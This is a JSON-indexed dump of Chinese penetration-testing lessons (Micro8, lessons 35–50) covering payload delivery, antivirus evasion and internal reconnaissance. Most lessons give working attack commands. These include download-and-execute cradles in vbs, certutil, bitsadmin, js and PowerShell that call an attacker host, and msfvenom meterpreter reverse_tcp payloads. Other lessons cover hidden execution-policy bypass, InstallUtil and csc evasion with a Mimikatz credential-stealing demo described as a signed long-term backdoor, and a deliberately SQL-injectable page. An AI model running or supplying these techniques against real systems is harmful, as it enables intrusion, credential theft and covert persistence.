署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/35_与Sqlmap结合攻击.html":{"url":"Chapter1/35_与Sqlmap结合攻击.html","title":"第三十五课:与Sqlmap结合攻击","keywords":"","body":"msf 在非 session 模式下与 session 模式下都支持第三方的加载与第三方框架的融合。代表参数为 load。两种模式下的 load 意义不同。本季主要针对非 session 模式下的 load sqlmap情景。 加载Sqlmap后,主要参数如下: Sqlmap Commands =============== Command Description ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ sqlmap_connect sqlmap_connect [] sqlmap_get_data Get the resulting data of the task sqlmap_get_log Get the running log of a task sqlmap_get_option Get an option for a task sqlmap_get_status Get the status of a task sqlmap_list_tasks List the knows tasks. New tasks are not stored in DB,so lives as long as the console does sqlmap_new_task Create a new task sqlmap_save_data Save the resulting data as web_vulns sqlmap_set_option Set an option for a task sqlmap_start_task Start the task msf exploit(multi/handler) > help sqlmap help 加载的模块名,为显示第三方的帮助文档。 msf 上的 sqlmap 插件依赖于 sqlmap 的 sqlmapapi.py 在使用前需要启动sqlmapapi.py 然后在msf上建立任务。 而 sqlmap 对 msf 也完美支持。 靶机:192.168.1.115,Sql server 2005 + aspx.net 构造注入点,如图1: 数据结构,如图2: 关于msf与sqlmap的结合在未来的系列中还会继续讲述,本季作为基础。 附录: 注入点代码: private DataSet resSet=new DataSet(); protected void Page_Load(object sender, EventArgs e) { String strconn = \"server=.;database=xxrenshi;uid=sa;pwd=123456\"; string id = Request.Params[\"id\"]; //string sql = string.Format(\"select * from admin where id={0}\", id); string sql = \"select * from sys_user where id=\" + id; SqlConnection connection=new SqlConnection(strconn); connection.Open(); SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection); dataAdapter.Fill(resSet); DgData.DataSource = resSet.Tables[0]; DgData.DataBind(); Response.Write(\"sql:\"+sql); Response.Write(\"Result:\"); } Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/36_解决vps上ssh掉线.html":{"url":"Chapter1/36_解决vps上ssh掉线.html","title":"第三十六课:解决vps上ssh掉线","keywords":"","body":"在写第五季的时候,vps 掉线了,ssh 重新登录后,无法切到 MSF session 下,想到部分同学如果在 vps 上操作也会遇到这个问题,故本季解决该问题。 tmux是什么? Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权。使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机。是BSD实现的Screen替代品,相对于Screen,它更加先进:支持屏幕切分,而且具备丰富的命令行参数,使其可以灵活、动态的进行各种布局和操作。 Tmux的使用场景 可以某个程序在执行时一直是输出状态,需要结合nohup、&来放在后台执行,并且ctrl+c结束。这时可以打开一个Tmux窗口,在该窗口里执行这个程序,用来保证该程序一直在执行中,只要Tmux这个窗口不关闭 公司需要备份数据库时,数据量巨大,备份两三天弄不完,这时不小心关闭了终端窗口或误操作就前功尽弃了,使用Tmux会话运行命令或任务,就不用担心这些问题。 下班后,你需要断开ssh或关闭电脑,将运行的命令或任务放置后台运行。 关闭终端,再次打开时原终端里面的任务进程依然不会中断 在渗透过程中,意外因网络等原因ssh掉线,tmux可以恢复session会话 tmux 常用操作命令: tmux new -s session1 新建会话 ctrl+b d 退出会话,回到shell的终端环境 //tmux detach-client tmux ls 终端环境查看会话列表 ctrl+b s 会话环境查看会话列表 tmux a -t session1 从终端环境进入会话 tmux kill-session -t session1 销毁会话 tmux rename -t old_session_name new_session_name 重命名会话 ctrl + b $ 重命名会话 (在会话环境中) 还原会话 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/37_vbs一句话下载payload.html":{"url":"Chapter1/37_vbs一句话下载payload.html","title":"第三十七课:vbs一句话下载payload","keywords":"","body":"一次 msf 完整的流程离不开目标机的 payload 下载与执行。而针对不同环境目标,考虑或者选择不同方式的 payload 下载与执行。如 webshell 下,注入点下。smb 下等。而针对不同的实际环境,来做最好的选择。 既然本季开始专门针对 windows 下的 payload 下载讲解,那么就需要考虑到目标机的系统版本,是windows2000,windows 2003,或者是更高的版本如 windows 2016等。 无论是哪个版本的windows系列,都是支持vbs的。 靶机:windows 2003 vbs: 保存downfile.vbs ```visual basic set a=createobject(\"adod\"+\"b.stream\"):set w=createobject(\"micro\"+\"soft.xmlhttp\"):w.open \"get\",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 ### 命令行下执行: ```bash cscript downfile.vbs http://192.168.1.115/robots.txt C:\\Inetpub\\b.txt 往往在实战中,没有上传的方便条件,尤其是目标机是 windows,只有 echo 方式来写入 vbs。 命令行下执行: echo set a=createobject(^\"adod^\"+^\"b.stream^\"):set w=createobject(^\"micro^\"+^\"soft.xmlhttp^\"):w.open^\"get^\",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs 优点:支持windows全版本系列缺点:对https不友好 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/38_certutil一句话下载payload.html":{"url":"Chapter1/38_certutil一句话下载payload.html","title":"第三十八课:certutil一句话下载payload","keywords":"","body":"certutil微软官方是这样对它解释的: Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。 url:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732443(v=ws.11) 但是近些年好像被玩坏了。 靶机:windows 2003 windows 7 certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt 默认下载为bin文件。但是不影响在命令行下使用。 certutil.exe 下载有个弊端,它的每一次下载都有留有缓存,而导致留下入侵痕迹,所以每次下载后,需要马上执行如下: certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete 而在应急中certutil也是常用工具之一,来对比文件hash,来判断疑似文件。 Windows 2003: Windows 7: certutil的其它高级应用: C:\\>certutil -encode c:\\downfile.vbs downfile.bat file:downfile.bat 解密: file:downfile.txt 后者的话:powershell内存加载配合certutil解密是一件非常有趣的事情。会在未来的系列中讲述。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/39_vbs一句话下载payload补充.html":{"url":"Chapter1/39_vbs一句话下载payload补充.html","title":"第三十九课:vbs一句话下载payload补充","keywords":"","body":"在实战中,会碰到许多让人敬畏的环境,也许无法执行,或者无法把下载参数带入其中,故补充第七季 vbs 参数化的下载。 靶机:windows 2003 附:源码如下: visual basic strFileURL = \"http://192.168.1.115/robots.txt\" strHDLocation = \"c:\\\\test\\\\logo.txt\" Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") objXMLHTTP.open \"GET\", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject(\"ADODB.Stream\") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 Set objFSO = CreateObject(\"Scripting.FileSystemObject\") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocati on Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/40_ftp一句话下载payload.html":{"url":"Chapter1/40_ftp一句话下载payload.html","title":"第四十课:ftp一句话下载payload","keywords":"","body":"windows 全平台自带ftp,在实战中需要考虑两点: 数据传输的完整性。 代码得精简 ftp文件的传输方式: Binary ,二进制传输 Ascii ,ascII传输 在 FTP 文件传输过程中,ASCII 传输 HTML 和文本编写的文件,而二进制码传输可以传送文本和非文本(执行文件,压缩文件,图片等),具有通用性,二进制码传输速度比 ASCII 传输要快。所以在建立 bat 脚本时,一般输入 bin 命令,启用二进制传输。如果用 ASCII 模式传输非文本文件,可能会显示一堆乱码。ASCII 和binary 模式的区别是回车换行的处理。binary 模式不对数据进行任何处理,ASCII 模式将回车换行转换为本机的回车字符,比如Unix 下是 \\n, Windows 下是\\r\\n,Mac 下是\\r。Unix 系统下行结束符是一个字节,即十六进制的 0A,而 ms 的系统是两个字节,即十六进制的 0D0A。 echo open 192.168.1.115 21> ftp.txt echo 123>> ftp.txt //user echo 123>> ftp.txt //password echo binary >> ftp.txt //bin模式 echo get robots.txt >> ftp.txt echo bye >> ftp.txt Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Content/41-50.html":{"url":"Content/41-50.html","title":"41-50课","keywords":"","body":"第四十一课:bitsadmin一句话下载payload 第四十二课:攻击FTP服务 第四十三课:js一句话下载payload 第四十四课:ertutil一句话下载payload补充 第四十五课:解决bat一句话下载payload黑窗 第四十六课:powershell一句话下载payload 第四十七课:payload分离免杀思路 第四十八课:payload分离免杀思路第二季 第四十九课:关于Powershell对抗安全软件 第五十课:基于SqlDataSourceEnumerator发现内网存活主机 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/41_bitsadmin一句话下载payload.html":{"url":"Chapter1/41_bitsadmin一句话下载payload.html","title":"第四十一课:bitsadmin一句话下载payload","keywords":"","body":"微软官方做出如下解释: BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。 具体相关参数参见官方文档:https://docs.microsoft.com/zh-cn/windows/desktop/Bits/bitsadmin-tool 自 windows7 以上版本内置 bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。 靶机:windows 7 E:\\>bitsadmin /rawreturn /transfer down \"http://192.168.1.115/robots.txt\" E:\\PDF\\robots.txt 需要注意的是,bitsadmin要求服务器支持Range标头。 如果需要下载过大的文件,需要提高优先级。配合上面的下载命令。再次执行 bitsadmin /setpriority down foreground 如果下载文件在1-5M之间,需要时时查看进度。同样它也支持进度条。 bitsadmin /transfer down /download /priority normal \"http://192.168.1.115/robots.txt\" E:\\PDF\\robots.txt 后者的话:不支持https协议。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/42_攻击FTP服务.html":{"url":"Chapter1/42_攻击FTP服务.html","title":"第四十二课:攻击FTP服务","keywords":"","body":"在办公区的内网中,充斥着大量的 ftp 文件服务器。其中不乏有部分敏感文件,也许有你需要的密码文件,也许有任务中的目标文件等。本季从讲述内网ftp服务器的发现以及常用的相关模块。 靶机介绍: 靶机一:Windows 2003 | 192.168.1.115 靶机二:Debian | 192.168.1.5 msf 内置 search 模块,在实战中,为了更快速的找到对应模块,它提供了 type 参数(未来会具体讲到模块参数),以 ftp 模块为例。 msf > search type:auxiliary ftp Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/cisco/vpn_3000_ftp_bypass 2006-08-23 normal Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access auxiliary/admin/officescan/tmlisten_traversal normal TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access auxiliary/admin/tftp/tftp_transfer_util normal TFTP File Transfer Utility auxiliary/dos/scada/d20_tftp_overflow 2012-01-19 normal General Electric D20ME TFTP Server Buffer Overflow DoS auxiliary/dos/windows/ftp/filezilla_admin_user 2005-11-07 normal FileZilla FTP Server Admin Interface Denial of Service ...... auxiliary/scanner/ftp/ftp_version auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ftp/anonymous 当然 msf 也内置了 nmap,来内网大量发现 FTP 存活主机,参数与使用与 nmap 一致。 msf auxiliary(scanner/ftp/anonymous) > db_nmap -sS -T4 -p21 192.168.1.115 msf 更多针对了 ftpd。 ftp本地模糊测试辅助模块: auxiliary/fuzzers/ftp/ftp_pre_post 关于 ftp 的本地 fuzzer,更推荐的是本地fuzz,msf 做辅助 poc。 关于后期利用,poc编写,在未来的季中会继续讲述。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/43_js一句话下载payload.html":{"url":"Chapter1/43_js一句话下载payload.html","title":"第四十三课:js一句话下载payload","keywords":"","body":"windows 全版本都会默认支持 js,并且通过cscript 来调用达到下载 payload 的目的。 靶机:windows 2003 读取: C:\\test>cscript /nologo downfile.js http://192.168.1.115/robots.txt 附代码: var WinHttpReq = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\"); WinHttpReq.Open(\"GET\", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); WScript.Echo(WinHttpReq.ResponseText); 写入: C:\\test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt 附代码: var WinHttpReq = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\"); WinHttpReq.Open(\"GET\", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject(\"ADODB.Stream\"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(\"micropoor.exe\"); 后者的话:简单,易用,轻便。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/44_ertutil一句话下载payload补充.html":{"url":"Chapter1/44_ertutil一句话下载payload补充.html","title":"第四十四课:ertutil一句话下载payload补充","keywords":"","body":"第八季中提到了 certutil 的加密与解密。 C:\\>certutil -encode c:\\downfile.vbs downfile.bat 而配合 powershell 的内存加载,则可把 certutil 发挥更强大。 靶机:windows 2012 而今天需要的是一款 powershell 的混淆框架的配合https://github.com/danielbohannon/Invoke-CradleCrafter 使用方法: Import-Module ./Invoke-CradleCrafter.psd1 Invoke-CradleCrafter 如果在加载 powershell 脚本的时候提示:powershell 进行数字签运行该脚本。 则先执行: set-executionpolicy Bypass 生成payload:(有关生成payload,会在未来的系列中讲到) root@John:/tmp# msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐e cmd/powershell_base64 ‐f psh ‐o Micropoor.txt 启动apache: powershell框架设置: SET URL http://192.168.1.5/Micropoor.txt MEMORY CERTUTIL ALL 1 混淆内容保存txt,后进行encode 把 cer.cer 与 Micropoo.txt 放置同一目录下。 目标机执行: powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\\\\cer.cer (New‐Object Net.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil ‐decode %APPDATA%\\cer.cer %APPDATA%\\stage.ps1 & start /b cmd /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\\stage.ps1 & start /b cmd /c del %APPDATA%\\cer.cer Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/45_解决bat一句话下载payload黑窗.html":{"url":"Chapter1/45_解决bat一句话下载payload黑窗.html","title":"第四十五课:解决bat一句话下载payload黑窗","keywords":"","body":"实战中,需要用 bat 解决的事情总会碰到,而针对不同的环境,可能同一件事情需要不同的方案。 demo:测试bat bat 内容:追加到bat.txt里。 附代码: Set oShell = CreateObject (\"Wscript.Shell\") Dim strArgs strArgs = \"cmd /c bat.bat\" oShell.Run strArgs, 0, false 但是代码过长,需要追加写入。需要简化下代码。 附代码: CreateObject(\"Wscript.Shell\").Run \"bat.bat\", 0, True 如果需要在目标机上执行多个 bat,如果需要把代码中的 bat.bat 变成变量的话。 附代码: If WScript.Arguments.Count >= 1 Then ReDim arr(WScript.Arguments.Count‐1) For i = 0 To WScript.Arguments.Count‐1 Arg = WScript.Arguments(i) If InStr(Arg, \" \") > 0 Then Arg = \"\"\"\" & Arg & \"\"\"\" arr(i) = Arg Next RunCmd = Join(arr) CreateObject(\"Wscript.Shell\").Run RunCmd, 0, True End If Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/46_powershell一句话下载payload.html":{"url":"Chapter1/46_powershell一句话下载payload.html","title":"第四十六课:powershell一句话下载payload","keywords":"","body":"自 Windows7 以后内置了 powershell,如Windows 7 中内置了 PowerShell2.0, Windows 8 中内置了 PowerShell3.0。 靶机:windows 7 powershell $PSVersionTable down.ps1: 基于System.Net.WebClient 附: $Urls = @() $Urls += \"http://192.168.1.115/robots.txt\" $OutPath = \"E:\\PDF\\\" ForEach ( $item in $Urls) { $file = $OutPath + ($item).split('/')[-1] (New-Object System.Net.WebClient).DownloadFile($item, $file) } 靶机:windows 2012 powershell $PSVersionTable down.ps1: 在 powershell 3.0以后,提供 wget 功能,既 Invoke-WebRequest C:\\inetpub>powershell C:\\inetpub\\down.ps1注:需要绝对路径。 附: $url = \"http://192.168.1.115/robots.txt\" $output = \"C:\\inetpub\\robots.txt\" $start_time = Get-Date Invoke-WebRequest -Uri $url -OutFile $output Write-Output \"Time : $((Get-Date).Subtract($start_time).Seconds) second(s)\" 当然也可以一句话执行下载: powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\\robots.txt') Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/47_payload分离免杀思路.html":{"url":"Chapter1/47_payload分离免杀思路.html","title":"第四十七课:payload分离免杀思路","keywords":"","body":"目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种,都是特别针对 PE 头文件的查杀。尤其是当 payload 文件越大的时候,特征越容易查杀。 既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免 PE 头文件,并且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于 windows 下为了更稳定的一种常用手法。载入内存。 0x00:以msf为例:监听端口 0x01:这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。避免行为: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c 0x02:既然是shellcode方式的payload,那么一定需要借助第三方来启动,加载到内存。执行shellcode,自己写也不是很难,这里我借用一个github一个开源: https://github.com/clinicallyinane/shellcode_launcher/ 作者的话:建议大家自己写shellcode执行盒,相关代码网上非常成熟。如果遇到问题,随时可以问我。 生成的payload大小如下:476字节。还是 X32位的 payload。 国内世界杀毒网: 国际世界杀毒网: 上线成功。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/48_payload分离免杀思路第二季.html":{"url":"Chapter1/48_payload分离免杀思路第二季.html","title":"第四十八课:payload分离免杀思路第二季","keywords":"","body":"payload 分离免杀思路第一季是专门针对 x32 系统,以及针对 xp 包括以下版本。而在实战中,目标机器多为 Windows7 以上版本。而服务器以 x64 位居多。在第一季中,借助了非微软自带第三方来执行 Shellcode,这一季采取调用微软自带来执行 Shellcode,这里就会有一个好处,调用自带本身一定就会有微软的签名,从而绕过反病毒软件。 介绍相关概念: Windows 自 Windows XP Media Center Edition 开始默认安装 NET Framework,直至目前的 Windows 10,最新的默认版本为4.6.00081.00。随着装机量,最新默认安装版本为4.7.2053.0。 csc.exe: C# 的在 Windows 平台下的编译器名称是 Csc.exe,如果你的 .NET FrameWork SDK 安装在 C 盘,那么你可以在 C:\\WINNT\\Microsoft.NET\\Framework\\xxxxx 目录中发现它。为了使用方便,你可以手动把这个目录添加到 Path 环境变量中去。用 Csc.exe 编译 HelloWorld.cs 非常简单,打开命令提示符,并切换到存放 test.cs 文件的目录中,输入下列行命令: csc /target:exe test.cs将 Ttest.cs 编译成名为 test.exe 的 console 应用程序 //test.cs using System; class TestApp { public static void Main() { Console.WriteLine(\"Micropoor!\"); } } InstallUtil.exe: 微软官方介绍如下: The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace. This tool is automatically installed with Visual Studio. To run the tool,use the Developer Command Prompt (or the Visual Studio Command Prompt in Windows7). For more information, see Command Prompts. https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool 关于两个文件默认安装位置:(注意x32,x64区别) C:\\Windows\\Microsoft.NET\\Framework\\ C:\\Windows\\Microsoft.NET\\Framework64\\ C:\\Windows\\Microsoft.NET\\Framework\\ C:\\Windows\\Microsoft.NET\\Framework64\\ 文章采取2种demo来辅助本文中心思想。 demo1: 以抓密码为例:测试环境:目标A机安装了 360 套装。目标机 B 安装了小红伞,NOD32。目标机安 C 装了麦咖啡。生成秘钥: 执行: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /keyfile:C:\\Users\\Johnn\\Desktop\\installutil.snk /unsafe C:\\Users\\Johnn\\Desktop\\mimi.cs C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Users\\Johnn\\Desktop\\Micropoor.exe demo2: 以msf为例:生成shllcode msfvenom --platform Windows -a x64 -p windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5 LPORT=8080 -b '\\x00' -e x64/xor -i 10 -f csharp -o ./Micropoor.txt 替换shellcode。 编译: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe /unsafe /platform:x64 /out:Micropoor.exe M.cs 运行: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe 注:在实际测试的过程,起监听需要配置一些参数,防止假死与假session。 msf exploit(multi/handler) > set exitonsession false exitonsession => false msf exploit(multi/handler) > set EnableStageEncoding true EnableStageEncoding => true msf exploit(multi/handler) > msf exploit(multi/handler) > set Stageencoder x64/xor Stageencoder => x64/xor msf exploit(multi/handler) > set stageencodingfallback false stageencodingfallback => false msf exploit(multi/handler) > exploit -j -z 上线: mimi.cs 953.71 KB shllcode.cs 后者的话:该方法可以做一个带签名的长期后门。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/49_关于Powershell对抗安全软件.html":{"url":"Chapter1/49_关于Powershell对抗安全软件.html","title":"第四十九课:关于Powershell对抗安全软件","keywords":"","body":"知识点介绍: Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。在 https://technet.microsoft.com,看到文档如下: Here is a listing of the available startup parameters: -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. -EncodedCommand Specifies the base64-encoded command text to execute. -ExecutionPolicy Sets the default execution policy for the console session. -File Sets the name of a script file to execute. -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt(cmd.exe). -NoLogo Starts the PowerShell console without displaying the copyright banner. -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. -NoProfile Tells the PowerShell console not to load the current user’s profile. -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. -Sta Starts PowerShell in single-threaded mode. -Version Sets the version of Windows PowerShell to use for compatibility,such as 1.0. -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal. 针对它的特性,本地测试: Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('Micropoor') 上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。 micropoor.ps1不幸被杀。 针对powershell特性,更改payload 接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:(1)目标机出网(2)目标机不出网 并且根据需求,无缝连接Metasploit。 根据微软文档,可以找到可能对以上有帮助的属性,分别为: Window Style NoExit EncodedCommand exec 自动化实现如下: # copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell. # E.g # msf encoder(powershell/base64) > use exploit/multi/handler # msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp # payload => windows/x64/meterpreter/reverse_tcp # msf exploit(multi/handler) > exploit # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. # [*] Started reverse TCP handler on xx.1xx.xx.xx:xx class MetasploitModule 'Powershell Base64 Encoder', 'Description' => %q{ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. }, 'Author' => 'Micropoor', 'Arch' => ARCH_CMD, 'Platform' => 'win') register_options([ OptBool.new('payload', [ false, 'Use payload ', false ]), OptBool.new('x64',[ false, 'Use syswow64 powershell', false ]) ]) end def encode_block(state, buf) base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf)) cmd = '' if datastore['x64'] cmd += 'c:\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe ' else cmd += 'powershell.exe ' end if datastore['payload'] cmd += '-windowstyle hidden -exec bypass -NoExit ' end cmd += \"-EncodedCommand \\#{base64}\" end end # if use caidao # execute echo powershell -windowstyle hidden -exec bypass -c \\\"\"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\\\"\"|msfvenom -e x64/xor4 --arch x64 --platform windows # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. copy powershell_base64.rb to metasploit‐framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell. 参数 payload 选择是否使用 Metasploit payload,来去掉 powershell 的关键字。 例1(目标出网,下载执行): echo powershell ‐windowstyle hidden ‐exec bypass ‐c \\\"\"IEX (New‐ObjectNet.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\\\"\"|msfvenom ‐e powershell/base64 ‐‐arch x64 ‐‐platform windows 例2(目标不出网,本地执行) 注:加payload参数 msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 ‐f psh‐reflection ‐‐arch x64 ‐‐platform windows | msfvenom ‐e powershell/base64 ‐‐arch x64 ‐‐platform windows payload 更多有趣的实验: 把例1的 down 内容更改为例2,并且去掉 payload 参数。来减小 payload 大小。 更改 Invoke-Mimikatz.ps1 等。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/50_基于SqlDataSourceEnumerator发现内网存活主机.html":{"url":"Chapter1/50_基于SqlDataSourceEnumerator发现内网存活主机.html","title":"第五十课:基于SqlDataSourceEnumerator发现内网存活主机","keywords":"","body":"从 xp 开始默认有 .net framework,在 powershell 后,调用起来更方便。 连载1 System.Data.SqlClient 命名空间是用于 SQL Server 的 .NET 数据提供程序。在net framework2.0中新增加SqlDataSourceEnumerator 类。提供了一种枚举本地网络内的所有可用 SQL Server 实例机制。微软官方是这样解释的: SQL Server 2000 和 SQL Server 2005 进行应用程序可以确定在当前网络中的 SQL Server实例存在。SqlDataSourceEnumerator类公开给应用程序开发人员,提供此信息DataTable包含所有可用的服务器的信息。返回此表列出了与列表匹配提供当用户尝试创建新的连接的服务器实例以及Connection Properties对话框中,展开下拉列表,其中包含所有可用的服务器。 PowerShell -Command \"[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()\" 此种方法,在实战中,不留文件痕迹。并且信息准确,发现主机也可。可应对目前主流安全防御产品。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Content/51-60.html":{"url":"Content/51-60.html","title":"51-60课","keywords":"","body":"第五十一课:项目回忆:体系的本质是知识点串联 第五十二课:渗透的本质是信息搜集 第五十三课:内网渗透中的文件传输 第五十四课:基于Powershell做Socks 4-5代理 第五十五课:与Smbmap结合攻击 第五十六课:离线提取目标机hash 第五十七课:高级持续渗透-第一季关于后门 第五十八课:高级持续渗透-第二季关于后门补充一 第五十九课:高级持续渗透-第三季关于后门补充二 